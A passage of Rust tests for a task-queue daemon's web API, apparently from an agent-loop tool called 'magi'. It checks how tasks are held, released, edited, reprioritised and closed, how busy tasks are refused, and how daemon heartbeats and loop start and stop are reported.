11114 }
11115
11116 #[test]
11119 fn a_parked_non_terminal_run_is_explained_as_parked() {
11120 let mut s = RunState::new(
11121 PathBuf::from("/repo/magi"),
11122 "main".to_owned(),
11123 "0123456789abcdef".to_owned(),
11124 "Do it".to_owned(),
11125 Config::default(),
11126 );
11127 s.status = RunStatus::Implementing;
11128 s.parked = true;
11129 let task = Task::new(
11130 "t".to_owned(),
11131 "Do it".to_owned(),
11132 PathBuf::from("/repo/magi"),
11133 Source::Human,
11134 );
11135 let v = task_run_view(
11136 "20260902-140501-aaaa",
11137 Some(&s),
11138 RunSlot {
11139 n: 1,
11140 resumed: false,
11141 resumed_later: None,
11142 prior: None,
11143 last: true,
11144 },
11145 &task,
11146 );
11147 assert!(v.outcome.contains("Parked"), "{}", v.outcome);
11148 }
11149
11150 fn earlier_pass_view(edit: impl FnOnce(&mut RunState)) -> TaskRunView {
11151 let mut s = flow_run(RunStatus::Implementing, edit);
11152 s.parked = false;
11153 let task = flow_task(&["20260902-140501-aaaa", "20260902-140501-aaaa"]);
11154 task_run_view(
11155 "20260902-140501-aaaa",
11156 Some(&s),
11157 RunSlot {
11158 n: 1,
11159 resumed: false,
11160 resumed_later: Some(2),
11161 prior: None,
11162 last: false,
11163 },
11164 &task,
11165 )
11166 }
11167
11168 #[test]
11169 fn an_earlier_pass_with_no_recorded_cause_is_unknown_not_parked() {
11170 let v = earlier_pass_view(|_| {});
11171 assert!(v.outcome.contains("not recorded"), "{}", v.outcome);
11172 assert!(v.outcome.contains("unknown"), "{}", v.outcome);
11173 assert!(!v.outcome.contains("parked it"), "{}", v.outcome);
11174 assert!(!v.outcome.contains("handed back."), "{}", v.outcome);
11175 assert_eq!(v.exit, RunExit::Interrupted);
11176 assert_eq!(v.attempt, AttemptCost::Unknown);
11177 }
11178
11179 #[test]
11180 fn an_earlier_pass_with_a_recorded_rate_limit_does_not_claim_it_as_the_cause() {
11181 let v = earlier_pass_view(|s| {
11182 s.quota.push(crate::run::QuotaLoss {
11183 seat: "judge-1".to_owned(),
11184 node: "judge".to_owned(),
11185 at: Timestamp::now(),
11186 reset: None,
11187 });
11188 });
11189 assert!(v.outcome.contains("may or may not"), "{}", v.outcome);
11190 assert!(v.outcome.contains("unknown"), "{}", v.outcome);
11191 assert_eq!(v.attempt, AttemptCost::Unknown);
11192 }
11193
11194 #[test]
11195 fn the_current_pass_states_its_recorded_cause_and_cost() {
11196 let slot = || RunSlot {
11197 n: 1,
11198 resumed: false,
11199 resumed_later: None,
11200 prior: None,
11201 last: true,
11202 };
11203 let task = flow_task(&["20260902-140501-aaaa"]);
11204 let parked = flow_run(RunStatus::Implementing, |s| s.parked = true);
11205 let v = task_run_view("20260902-140501-aaaa", Some(&parked), slot(), &task);
11206 assert_eq!(
11207 (v.exit, v.attempt),
11208 (RunExit::Parked, AttemptCost::Refunded)
11209 );
11210 let spent = flow_run(RunStatus::Blocked, |_| {});
11211 let v = task_run_view("20260902-140501-aaaa", Some(&spent), slot(), &task);
11212 assert_eq!(v.attempt, AttemptCost::Spent);
11213 assert!(v.outcome.contains("spent an attempt"), "{}", v.outcome);
11214 }
11215
11216 #[tokio::test]
11217 async fn holding_then_releasing_returns_a_task_to_the_loop_with_a_fresh_budget() {
11218 let f = Fixture::start().await;
11219 let queue = f.queue();
11220 let mut task = Task::new(
11221 "spent".to_owned(),
11222 "Try again".to_owned(),
11223 PathBuf::from("/repo/magi"),
11224 Source::Human,
11225 );
11226 task.start("20260902-140502-bbbb".to_owned());
11227 task.fail("agent gave up", 9);
11228 queue.put(&mut task).expect("file the task");
11229
11230 let held = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
11231 assert_eq!(held.status, 200);
11232 assert_eq!(held.json()["status_str"], "held");
11233
11234 let released = f
11235 .post(&format!("/api/queue/{}/release", task.id), None)
11236 .await;
11237 assert_eq!(released.status, 200);
11238 assert_eq!(released.json()["status_str"], "queued");
11239 assert_eq!(
11240 released.json()["attempts"],
11241 0,
11242 "release is a real second chance, not an instant re-hold"
11243 );
11244 assert_eq!(
11245 queue.get(&task.id).expect("reload").status,
11246 TaskStatus::Queued,
11247 "the change is on disk, not only in the reply"
11248 );
11249 assert!(
11250 !f.home
11251 .path()
11252 .join("queue")
11253 .join(format!("{}.lock", task.id))
11254 .exists(),
11255 "the claim the mutation took is released again"
11256 );
11257 }
11258
11259 #[tokio::test]
11260 async fn a_task_a_daemon_is_running_cannot_be_changed_from_the_phone() {
11261 let f = Fixture::start().await;
11262 let queue = f.queue();
11263 let mut task = Task::new(
11264 "busy".to_owned(),
11265 "Running right now".to_owned(),
11266 PathBuf::from("/repo/magi"),
11267 Source::Human,
11268 );
11269 queue.put(&mut task).expect("file the task");
11270 let _claim = queue.claim(&task.id).expect("stand in for the daemon");
11271
11272 let res = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
11273
11274 assert_eq!(res.status, 409);
11275 assert_eq!(
11276 queue.get(&task.id).expect("reload").status,
11277 TaskStatus::Queued,
11278 "the refused hold changed nothing"
11279 );
11280 }
11281
11282 #[tokio::test]
11283 async fn holding_with_a_reason_reads_back_from_show_and_the_card_and_release_clears_it() {
11284 let f = Fixture::start().await;
11285 let queue = f.queue();
11286 let mut task = Task::new(
11287 "waiting on the migration".to_owned(),
11288 "Do the thing".to_owned(),
11289 PathBuf::from("/repo/magi"),
11290 Source::Human,
11291 );
11292 queue.put(&mut task).expect("file the task");
11293
11294 let held = f
11295 .post(
11296 &format!("/api/queue/{}/hold", task.id),
11297 Some(r#"{"reason":"waiting for 20260101-000000-aaaa to land"}"#),
11298 )
11299 .await;
11300 assert_eq!(held.status, 200, "{}", held.body);
11301 assert_eq!(held.json()["status_str"], "held");
11302 assert_eq!(
11303 held.json()["hold_reason"],
11304 "waiting for 20260101-000000-aaaa to land"
11305 );
11306
11307 let listed = f.get("/api/queue").await.json();
11308 assert_eq!(
11309 listed[0]["hold_reason"], "waiting for 20260101-000000-aaaa to land",
11310 "the card reads the reason off the same list route"
11311 );
11312
11313 let mut plain = Task::new(
11316 "no reason given".to_owned(),
11317 "Do another thing".to_owned(),
11318 PathBuf::from("/repo/magi"),
11319 Source::Human,
11320 );
11321 queue.put(&mut plain).expect("file the task");
11322 let held_plain = f.post(&format!("/api/queue/{}/hold", plain.id), None).await;
11323 assert_eq!(held_plain.status, 200, "{}", held_plain.body);
11324 assert!(held_plain.json()["hold_reason"].is_null());
11325
11326 let released = f
11327 .post(&format!("/api/queue/{}/release", task.id), None)
11328 .await;
11329 assert_eq!(released.status, 200);
11330 assert!(
11331 released.json()["hold_reason"].is_null(),
11332 "a release must clear the reason so the next hold does not inherit it"
11333 );
11334 }
11335
11336 #[tokio::test]
11337 async fn priority_can_be_raised_from_the_phone_and_moves_the_task_ahead() {
11338 let f = Fixture::start().await;
11339 let queue = f.queue();
11340 let mut older = Task::new(
11341 "filed first".to_owned(),
11342 "x".to_owned(),
11343 PathBuf::from("/repo/magi"),
11344 Source::Human,
11345 );
11346 older.id = "20260101-000001-aaaa".to_owned();
11347 let mut newer = Task::new(
11348 "filed second".to_owned(),
11349 "x".to_owned(),
11350 PathBuf::from("/repo/magi"),
11351 Source::Human,
11352 );
11353 newer.id = "20260101-000002-bbbb".to_owned();
11354 queue.put(&mut older).expect("file older");
11355 queue.put(&mut newer).expect("file newer");
11356
11357 let before = f.get("/api/queue").await.json();
11360 assert_eq!(before[0]["id"], newer.id);
11361 assert_eq!(before[1]["id"], older.id);
11362
11363 let raised = f
11367 .post(
11368 &format!("/api/queue/{}/priority", older.id),
11369 Some(r#"{"priority":10}"#),
11370 )
11371 .await;
11372 assert_eq!(raised.status, 200, "{}", raised.body);
11373 assert_eq!(raised.json()["priority"], 10);
11374
11375 let after = f.get("/api/queue").await.json();
11376 let names: Vec<&str> = after
11377 .as_array()
11378 .unwrap()
11379 .iter()
11380 .map(|t| t["id"].as_str().unwrap())
11381 .collect();
11382 assert_eq!(names[0], older.id, "the raised task now sorts first");
11386 }
11387
11388 #[tokio::test]
11389 async fn priority_is_refused_on_a_running_task_with_a_reason_in_the_body() {
11390 let f = Fixture::start().await;
11391 let queue = f.queue();
11392 let mut task = Task::new(
11393 "in flight".to_owned(),
11394 "x".to_owned(),
11395 PathBuf::from("/repo/magi"),
11396 Source::Human,
11397 );
11398 task.start("20260902-140502-bbbb".to_owned());
11399 queue.put(&mut task).expect("file the task");
11400
11401 let res = f
11402 .post(
11403 &format!("/api/queue/{}/priority", task.id),
11404 Some(r#"{"priority":9}"#),
11405 )
11406 .await;
11407 assert_eq!(res.status, 400, "{}", res.body);
11408 assert!(
11409 res.json()["error"]
11410 .as_str()
11411 .is_some_and(|e| e.contains("running")),
11412 "{}",
11413 res.body
11414 );
11415 assert_eq!(
11416 queue.get(&task.id).expect("reload").priority,
11417 0,
11418 "the refused write must not partially apply"
11419 );
11420 }
11421
11422 #[tokio::test]
11423 async fn editing_replaces_title_and_instruction_and_keeps_id_created_at_source_and_runs() {
11424 let f = Fixture::start().await;
11425 let queue = f.queue();
11426 let mut task = Task::new(
11427 "old title".to_owned(),
11428 "old instruction".to_owned(),
11429 PathBuf::from("/repo/magi"),
11430 Source::Agent {
11431 run: "20260101-000000-beef".to_owned(),
11432 node: "implement".to_owned(),
11433 },
11434 );
11435 task.runs.push("20260101-000000-beef".to_owned());
11436 queue.put(&mut task).expect("file the task");
11437 let created_at = task.created_at;
11438
11439 let edited = f
11440 .post(
11441 &format!("/api/queue/{}/edit", task.id),
11442 Some(r#"{"title":"new title","instruction":"new instruction"}"#),
11443 )
11444 .await;
11445 assert_eq!(edited.status, 200, "{}", edited.body);
11446 let body = edited.json();
11447 assert_eq!(body["title"], "new title");
11448 assert_eq!(body["instruction"], "new instruction");
11449 assert_eq!(body["id"], task.id, "editing must not mint a new id");
11450 assert_eq!(body["created_at"], created_at.to_string());
11451 assert_eq!(
11452 body["source"]["kind"], "agent",
11453 "editing a task an agent filed must not turn it human: {body}"
11454 );
11455 assert_eq!(body["runs"], serde_json::json!(["20260101-000000-beef"]));
11456
11457 let reloaded = queue.get(&task.id).expect("reload");
11458 assert_eq!(reloaded.title, "new title");
11459 assert_eq!(reloaded.instruction, "new instruction");
11460 }
11461
11462 #[tokio::test]
11463 async fn editing_in_a_duplicate_is_a_409_naming_the_match_until_forced() {
11464 let tmp = TempDir::new().expect("tempdir");
11467 let repo = tmp.path().join("repo");
11468 std::fs::create_dir_all(&repo).expect("repo dir");
11469 let judge = MOCK_AGENT_TOML.replace(
11470 "printf ok",
11471 r#"printf '{\"duplicate\":true,\"reason\":\"same branch\"}'"#,
11472 );
11473 std::fs::write(repo.join("magi.toml"), judge).expect("write magi.toml");
11474 let f = Fixture::with_repo(repo.clone()).await;
11475 let queue = f.queue();
11476 let mut owner = Task::new(
11477 "owner".to_owned(),
11478 "review it".to_owned(),
11479 repo.clone(),
11480 Source::Human,
11481 );
11482 owner.review_branch = Some("magi/ab12/A".to_owned());
11483 queue.put(&mut owner).expect("file the owner");
11484 let mut task = Task::new(
11485 "draft".to_owned(),
11486 "old".to_owned(),
11487 repo.clone(),
11488 Source::Human,
11489 );
11490 queue.put(&mut task).expect("file the draft");
11491 let url = format!("/api/queue/{}/edit", task.id);
11492
11493 let refused = f
11494 .post(
11495 &url,
11496 Some(r#"{"title":"t","instruction":"land magi/ab12/A"}"#),
11497 )
11498 .await;
11499 assert_eq!(refused.status, 409, "{}", refused.body);
11500 let msg = refused.json()["error"]
11501 .as_str()
11502 .unwrap_or_default()
11503 .to_owned();
11504 assert!(
11505 msg.contains("magi/ab12/A") && msg.contains("force"),
11506 "{msg}"
11507 );
11508 assert_eq!(queue.get(&task.id).expect("reload").instruction, "old");
11509
11510 let forced = f
11511 .post(
11512 &url,
11513 Some(r#"{"title":"t","instruction":"land magi/ab12/A","force":true}"#),
11514 )
11515 .await;
11516 assert_eq!(forced.status, 200, "{}", forced.body);
11517 }
11518
11519 #[tokio::test]
11520 async fn editing_a_running_task_is_refused_with_a_reason_in_the_response() {
11521 let f = Fixture::start().await;
11522 let queue = f.queue();
11523 let mut task = Task::new(
11524 "in flight".to_owned(),
11525 "do not touch".to_owned(),
11526 PathBuf::from("/repo/magi"),
11527 Source::Human,
11528 );
11529 task.start("20260902-140502-bbbb".to_owned());
11530 queue.put(&mut task).expect("file the task");
11531
11532 let res = f
11533 .post(
11534 &format!("/api/queue/{}/edit", task.id),
11535 Some(r#"{"title":"x","instruction":"y"}"#),
11536 )
11537 .await;
11538 assert_eq!(res.status, 400, "{}", res.body);
11539 assert!(
11540 res.json()["error"]
11541 .as_str()
11542 .is_some_and(|e| e.contains("running")),
11543 "{}",
11544 res.body
11545 );
11546 assert_eq!(
11547 queue.get(&task.id).expect("reload").instruction,
11548 "do not touch",
11549 "the refused edit must not change the file"
11550 );
11551 }
11552
11553 #[tokio::test]
11554 async fn a_claimed_task_refuses_priority_and_edit_the_same_way_it_refuses_hold() {
11555 let f = Fixture::start().await;
11556 let queue = f.queue();
11557 let mut task = Task::new(
11558 "busy".to_owned(),
11559 "Running right now".to_owned(),
11560 PathBuf::from("/repo/magi"),
11561 Source::Human,
11562 );
11563 queue.put(&mut task).expect("file the task");
11564 let _claim = queue.claim(&task.id).expect("stand in for the daemon");
11565
11566 let priority = f
11567 .post(
11568 &format!("/api/queue/{}/priority", task.id),
11569 Some(r#"{"priority":9}"#),
11570 )
11571 .await;
11572 assert_eq!(priority.status, 409, "{}", priority.body);
11573
11574 let edit = f
11575 .post(
11576 &format!("/api/queue/{}/edit", task.id),
11577 Some(r#"{"title":"x","instruction":"y"}"#),
11578 )
11579 .await;
11580 assert_eq!(edit.status, 409, "{}", edit.body);
11581 }
11582
11583 #[tokio::test]
11584 async fn done_from_the_phone_keeps_runs_source_and_created_at_unlike_delete() {
11585 let f = Fixture::start().await;
11586 let queue = f.queue();
11587 let mut task = Task::new(
11588 "shipped by hand".to_owned(),
11589 "merged outside the loop".to_owned(),
11590 PathBuf::from("/repo/magi"),
11591 Source::Agent {
11592 run: "20260101-000000-b455".to_owned(),
11593 node: "implement".to_owned(),
11594 },
11595 );
11596 task.runs.push("20260101-000000-b455".to_owned());
11597 task.runs.push("20260101-000000-9af4".to_owned());
11598 queue.put(&mut task).expect("file the task");
11599 let created_at = task.created_at;
11600
11601 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
11602 assert_eq!(done.status, 200, "{}", done.body);
11603 assert_eq!(done.json()["status_str"], "done");
11604
11605 let reloaded = queue.get(&task.id).expect("a done task is still on disk");
11606 assert_eq!(
11607 reloaded.runs,
11608 ["20260101-000000-b455", "20260101-000000-9af4"]
11609 );
11610 assert_eq!(
11611 reloaded.source,
11612 Source::Agent {
11613 run: "20260101-000000-b455".to_owned(),
11614 node: "implement".to_owned(),
11615 }
11616 );
11617 assert_eq!(reloaded.created_at, created_at);
11618 }
11619
11620 #[tokio::test]
11621 async fn closing_a_held_task_as_done_from_the_phone_clears_its_hold_reason() {
11622 let f = Fixture::start().await;
11627 let queue = f.queue();
11628 let mut task = Task::new(
11629 "landed while held".to_owned(),
11630 "x".to_owned(),
11631 PathBuf::from("/repo/magi"),
11632 Source::Human,
11633 );
11634 task.hold_manual(Some("waiting on 3ed9".to_owned()));
11635 queue.put(&mut task).expect("file the held task");
11636
11637 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
11638 assert_eq!(done.status, 200, "{}", done.body);
11639 assert_eq!(done.json()["status_str"], "done");
11640 assert!(
11641 done.json()["hold_reason"].is_null(),
11642 "a done task cannot still be waiting on something: {}",
11643 done.body
11644 );
11645 }
11646
11647 #[tokio::test]
11648 async fn done_from_the_phone_supersedes_an_earlier_blocked_attempt() {
11649 let f = Fixture::start().await;
11654 let queue = f.queue();
11655 let runs = f.runs();
11656 write_run(&runs, "20260101-000000-doa1", RunStatus::Blocked);
11657 write_run(&runs, "20260101-000000-doa2", RunStatus::Merged);
11661
11662 let mut task = Task::new(
11663 "landed by hand".to_owned(),
11664 "x".to_owned(),
11665 PathBuf::from("/repo/magi"),
11666 Source::Human,
11667 );
11668 task.runs.push("20260101-000000-doa1".to_owned());
11669 task.runs.push("20260101-000000-doa2".to_owned());
11670 queue.put(&mut task).expect("file the task");
11671
11672 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
11673 assert_eq!(done.status, 200, "{}", done.body);
11674
11675 let reloaded_run = read_run(&runs, "20260101-000000-doa1")
11676 .expect("run still on disk under this fixture's own home");
11677 assert_eq!(
11678 reloaded_run.status,
11679 RunStatus::Superseded,
11680 "closing the task by hand must relabel the earlier blocked attempt exactly \
11681 like the loop's own settle path does"
11682 );
11683 }
11684
11685 #[tokio::test]
11686 async fn done_from_the_phone_does_not_supersede_when_the_last_attempt_never_landed() {
11687 let f = Fixture::start().await;
11692 let queue = f.queue();
11693 let runs = f.runs();
11694 write_run(&runs, "20260101-000000-dob1", RunStatus::Blocked);
11695 write_run(&runs, "20260101-000000-dob2", RunStatus::Failed);
11696
11697 let mut task = Task::new(
11698 "closed with nothing actually landed".to_owned(),
11699 "x".to_owned(),
11700 PathBuf::from("/repo/magi"),
11701 Source::Human,
11702 );
11703 task.runs.push("20260101-000000-dob1".to_owned());
11704 task.runs.push("20260101-000000-dob2".to_owned());
11705 queue.put(&mut task).expect("file the task");
11706
11707 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
11708 assert_eq!(done.status, 200, "{}", done.body);
11709
11710 let reloaded_run = read_run(&runs, "20260101-000000-dob1")
11711 .expect("run still on disk under this fixture's own home");
11712 assert_eq!(
11713 reloaded_run.status,
11714 RunStatus::Blocked,
11715 "the last recorded attempt never landed, so the earlier one must not be \
11716 relabelled as superseded by it"
11717 );
11718 }
11719
11720 #[tokio::test]
11721 async fn unknown_ids_are_json_not_found_on_both_stores() {
11722 let f = Fixture::start().await;
11723
11724 let run = f.get("/api/runs/nosuchrun").await;
11725 let task = f.post("/api/queue/nosuchtask/hold", None).await;
11726
11727 assert_eq!(run.status, 404);
11728 assert_eq!(task.status, 404);
11729 assert!(
11730 run.json()["error"]
11731 .as_str()
11732 .is_some_and(|e| e.contains("run")),
11733 "the error names what was not found: {}",
11734 run.body
11735 );
11736 assert!(
11737 task.json()["error"]
11738 .as_str()
11739 .is_some_and(|e| e.contains("task")),
11740 "the error names what was not found: {}",
11741 task.body
11742 );
11743 }
11744
11745 #[tokio::test]
11746 async fn the_daemon_counts_as_running_only_while_its_heartbeat_is_fresh() {
11747 let f = Fixture::start().await;
11748
11749 let missing = f.get("/api/health").await.json();
11750 assert_eq!(missing["daemon"]["running"], false, "no file, no daemon");
11751
11752 write_daemon(
11753 f.home.path(),
11754 Timestamp::now() - jiff::SignedDuration::from_secs(60),
11755 );
11756 let stale = f.get("/api/health").await.json();
11757 assert_eq!(
11758 stale["daemon"]["running"], false,
11759 "a minute without a heartbeat is a dead daemon, not a busy one"
11760 );
11761 assert!(
11762 stale["daemon"]["stale_for_secs"]
11763 .as_i64()
11764 .is_some_and(|s| s >= 55),
11765 "staleness is reported so the UI can say how long: {stale}"
11766 );
11767
11768 write_daemon(f.home.path(), Timestamp::now());
11769 let fresh = f.get("/api/health").await.json();
11770 assert_eq!(fresh["daemon"]["running"], true);
11771 assert_eq!(fresh["daemon"]["idle"], false);
11772 assert_eq!(fresh["daemon"]["pid"], 4242);
11773 assert_eq!(fresh["daemon"]["completed"], 7);
11774 assert_eq!(
11775 fresh["daemon"]["current"][0]["task"],
11776 "20260902-140501-aaaa"
11777 );
11778 assert_eq!(fresh["version"], env!("CARGO_PKG_VERSION"));
11779 }
11780
11781 #[tokio::test]
11782 async fn the_loop_is_not_running_until_something_starts_it() {
11783 let f = Fixture::start().await;
11784
11785 let view = f.get("/api/loop").await.json();
11786 assert_eq!(view["running"], false);
11787 assert_eq!(
11788 view["owned"], false,
11789 "nobody owns a loop that does not exist: {view}"
11790 );
11791 assert_eq!(view["stopping"], false);
11792 assert_eq!(view["last_error"], Value::Null);
11793 assert_eq!(view["daemon"]["running"], false);
11794 assert_eq!(
11795 view["repo"], "/repo/magi",
11796 "the repository a start would use, named before it is started"
11797 );
11798 }
11799
11800 #[tokio::test]
11801 async fn starting_the_loop_runs_it_in_this_process_and_health_says_the_same() {
11802 let f = Fixture::start().await;
11803
11804 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
11805 assert_eq!(res.status, 200, "{}", res.body);
11806 let view = res.json();
11807 assert_eq!(view["running"], true);
11808 assert_eq!(
11809 view["owned"], true,
11810 "the loop the UI started is the UI's own to stop: {view}"
11811 );
11812 assert_eq!(
11813 view["merge"],
11814 Value::Null,
11815 "no override was given, so each repository's own config decides"
11816 );
11817
11818 let health = f.get("/api/health").await.json();
11822 assert_eq!(health["loop"]["running"], true, "{health}");
11823 assert_eq!(health["loop"]["owned"], true, "{health}");
11824
11825 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
11826 }
11827
11828 #[tokio::test]
11829 async fn a_second_start_is_refused_rather_than_racing_the_first_for_claims() {
11830 let f = Fixture::start().await;
11831 let first = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
11832 assert_eq!(first.status, 200, "{}", first.body);
11833
11834 let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
11835 assert_eq!(
11836 again.status, 409,
11837 "two loops on one queue race for the same claims: {}",
11838 again.body
11839 );
11840 assert!(
11841 again.json()["error"]
11842 .as_str()
11843 .is_some_and(|e| e.contains("already running the loop")),
11844 "the refusal has to say why: {}",
11845 again.body
11846 );
11847 assert_eq!(
11848 f.get("/api/loop").await.json()["running"],
11849 true,
11850 "and the loop that was already running is untouched by it"
11851 );
11852
11853 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
11854 }
11855
11856 #[tokio::test]
11857 async fn stopping_answers_at_once_and_the_loop_settles_stopped() {
11858 let f = Fixture::start().await;
11859 f.post("/api/loop", Some(r#"{"running":true}"#)).await;
11860
11861 let res = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
11862 assert_eq!(
11863 res.status, 200,
11864 "the answer must not wait for the loop: a run in flight is tens of \
11865 minutes and the operator is holding a phone: {}",
11866 res.body
11867 );
11868
11869 let view = settled(&f, |v| v["running"] == false).await;
11870 assert_eq!(view["owned"], false);
11871 assert_eq!(
11872 view["stopping"], false,
11873 "a loop that has stopped is not still stopping: {view}"
11874 );
11875 assert_eq!(
11876 view["last_error"],
11877 Value::Null,
11878 "a loop that was asked to stop did not fail: {view}"
11879 );
11880
11881 let twice = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
11884 assert_eq!(twice.status, 200, "{}", twice.body);
11885 }
11886
11887 #[tokio::test]
11888 async fn a_loop_another_process_owns_can_be_neither_started_nor_stopped_here() {
11889 let f = Fixture::start().await;
11890 write_daemon(f.home.path(), Timestamp::now());
11893
11894 let view = f.get("/api/loop").await.json();
11895 assert_eq!(view["running"], false, "not in this process: {view}");
11896 assert_eq!(view["owned"], false, "and not this process's to control");
11897 assert_eq!(
11898 view["daemon"]["running"], true,
11899 "but a loop is alive somewhere, which is what the UI must say"
11900 );
11901 assert_eq!(view["daemon"]["pid"], 4242);
11902
11903 for body in [r#"{"running":true}"#, r#"{"running":false}"#] {
11904 let res = f.post("/api/loop", Some(body)).await;
11905 assert_eq!(
11906 res.status, 409,
11907 "neither button may pretend to work on someone else's loop: {}",
11908 res.body
11909 );
11910 assert!(
11911 res.json()["error"]
11912 .as_str()
11913 .is_some_and(|e| e.contains("4242")),
11914 "the refusal has to name the process the operator must go to: {}",
11915 res.body
11916 );
11917 }
11918 assert_eq!(
11919 f.get("/api/loop").await.json()["running"],
11920 false,
11921 "and the refusal started nothing"
11922 );
11923 }
11924
11925 #[tokio::test]
11926 async fn a_stale_status_file_is_not_a_foreign_owner() {
11927 let f = Fixture::start().await;
11928 write_daemon(
11929 f.home.path(),
11930 Timestamp::now() - jiff::SignedDuration::from_secs(60),
11931 );
11932
11933 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
11934 assert_eq!(
11935 res.status, 200,
11936 "a daemon killed a minute ago must not lock the loop out of its \
11937 own home for good: {}",
11938 res.body
11939 );
11940 assert_eq!(res.json()["running"], true);
11941
11942 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
11943 }
11944
11945 #[tokio::test]
11946 async fn loop_rev_moves_on_a_start_so_a_phone_learns_without_polling() {
11947 let f = Fixture::start().await;
11948 let before = f.get("/api/health").await.json()["loop_rev"]
11949 .as_u64()
11950 .expect("a loop revision");
11951
11952 f.post("/api/loop", Some(r#"{"running":true}"#)).await;
11953
11954 let after = f.get("/api/health").await.json()["loop_rev"]
11955 .as_u64()
11956 .expect("a loop revision");
11957 assert!(
11958 after > before,
11959 "the loop is in-process state, so this counter is the only thing \
11960 that tells a second device the first one started it: {before} -> \
11961 {after}"
11962 );
11963
11964 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
11965 }
11966
11967 #[tokio::test]
11968 async fn a_loop_that_failed_says_why_and_does_not_read_as_running() {
11969 let f = Fixture::with_loop(launch_broken).await;
11970
11971 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
11972 assert_eq!(
11973 res.status, 200,
11974 "starting it is not the failure: {}",
11975 res.body
11976 );
11977
11978 let view = settled(&f, |v| v["last_error"].is_string()).await;
11979 assert_eq!(
11980 view["running"], false,
11981 "a loop that died must not read as running, or the operator has \
11982 nothing to press: {view}"
11983 );
11984 assert_eq!(view["owned"], false);
11985 assert!(
11986 view["last_error"]
11987 .as_str()
11988 .is_some_and(|e| e.contains("read-only file system")),
11989 "the phone is where a loop that died at 3am is visible: {view}"
11990 );
11991
11992 let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
11995 assert_eq!(again.status, 200, "{}", again.body);
11996 assert!(
11997 again.json()["last_error"]
11998 .as_str()
11999 .is_none_or(|e| !e.contains("read-only file system")),
12000 "a fresh start does not keep showing why the last one died: {}",
12001 again.body
12002 );
12003 }
12004
12005 #[tokio::test(flavor = "multi_thread", worker_threads = 2)]
12017 async fn the_deck_answers_while_it_parks_and_frees_the_address_first() {
12018 let home = TempDir::new().expect("temp home");
12019 let runs = home.path().join("runs");
12020 std::fs::create_dir_all(&runs).expect("runs dir");
12021 let ui = Ui::new(
12022 Queue::at(home.path().join("queue")),
12023 Questions::at(home.path().join("questions")),
12024 Talks::at(home.path().join("talks")),
12025 runs,
12026 home.path().to_path_buf(),
12027 PathBuf::from("/repo/magi"),
12028 )
12029 .with_worktrees_root(home.path().join("wt"))
12030 .with_launch(launch_knocking_on_the_way_out);
12031 let looping = ui.looping();
12032 let turns = ui.turns();
12033 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
12034 .await
12035 .expect("bind loopback");
12036 let addr = listener.local_addr().expect("local addr");
12037 *PARK_KNOCK.lock().expect("park knock") = Some(addr);
12038 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
12039
12040 let started = request(addr, "POST", "/api/loop", Some(r#"{"running":true}"#)).await;
12041 assert_eq!(started.status, 200, "the loop starts: {}", started.body);
12042
12043 let bound = std::sync::Mutex::new(None);
12058 hand_over(
12059 home.path(),
12060 &looping,
12061 &turns,
12062 &|_: &[String]| Duration::from_secs(5),
12063 served,
12064 |_| {
12065 let deadline = std::time::Instant::now() + std::time::Duration::from_secs(5);
12066 let attempt = loop {
12067 match std::net::TcpListener::bind(addr) {
12068 Ok(l) => {
12069 drop(l);
12070 break Ok(());
12071 }
12072 Err(e)
12073 if e.kind() == std::io::ErrorKind::AddrInUse
12074 && std::time::Instant::now() < deadline =>
12075 {
12076 std::thread::sleep(std::time::Duration::from_millis(10));
12077 }
12078 Err(e) => break Err(e.to_string()),
12079 }
12080 };
12081 *bound.lock().expect("bound") = Some(attempt);
12082 Ok(1)
12083 },
12084 )
12085 .await
12086 .expect("hand over");
12087
12088 assert_eq!(
12089 *PARK_HEARD.lock().expect("park heard"),
12090 Some(200),
12091 "the deck must answer while the loop is parking"
12092 );
12093 let attempt = bound
12094 .lock()
12095 .expect("bound")
12096 .take()
12097 .expect("the successor was started");
12098 assert!(
12099 attempt.is_ok(),
12100 "and the address must be free by the time it is: {attempt:?}"
12101 );
12102 }
12103
12104 #[tokio::test]
12105 async fn a_newer_daemon_status_file_still_renders() {
12106 let f = Fixture::start().await;
12107 std::fs::write(
12110 f.home.path().join("daemon.json"),
12111 serde_json::json!({
12112 "schema": 2,
12113 "updated_at": Timestamp::now().to_string(),
12114 "idle": true,
12115 "surprise": { "nested": [1, 2, 3] },
12116 })
12117 .to_string(),
12118 )
12119 .expect("write daemon.json");
12120
12121 let health = f.get("/api/health").await;
12122
12123 assert_eq!(health.status, 200);
12124 assert_eq!(health.json()["daemon"]["running"], true);
12125 }
12126
12127 #[tokio::test]
12128 async fn a_corrupt_run_is_skipped_in_the_list_and_explained_on_its_own_route() {
12129 let f = Fixture::start().await;
12130 write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
12131 let broken = f.runs().join("20260902-140502-bad");
12132 std::fs::create_dir_all(&broken).expect("run dir");
12133 std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
12134
12135 let list = f.get("/api/runs").await;
12136 let detail = f.get("/api/runs/20260902-140502-bad").await;
12137
12138 assert_eq!(list.status, 200);
12139 let listed = list.json();
12140 let ids: Vec<&str> = listed
12141 .as_array()
12142 .expect("an array")
12143 .iter()
12144 .map(|r| r["id"].as_str().expect("an id"))
12145 .collect();
12146 assert_eq!(
12147 ids,
12148 vec!["20260902-140501-good"],
12149 "one unreadable run must not cost the operator the whole history"
12150 );
12151 assert_eq!(detail.status, 500);
12152 assert!(
12153 detail.json()["error"]
12154 .as_str()
12155 .is_some_and(|e| e.contains("run.json")),
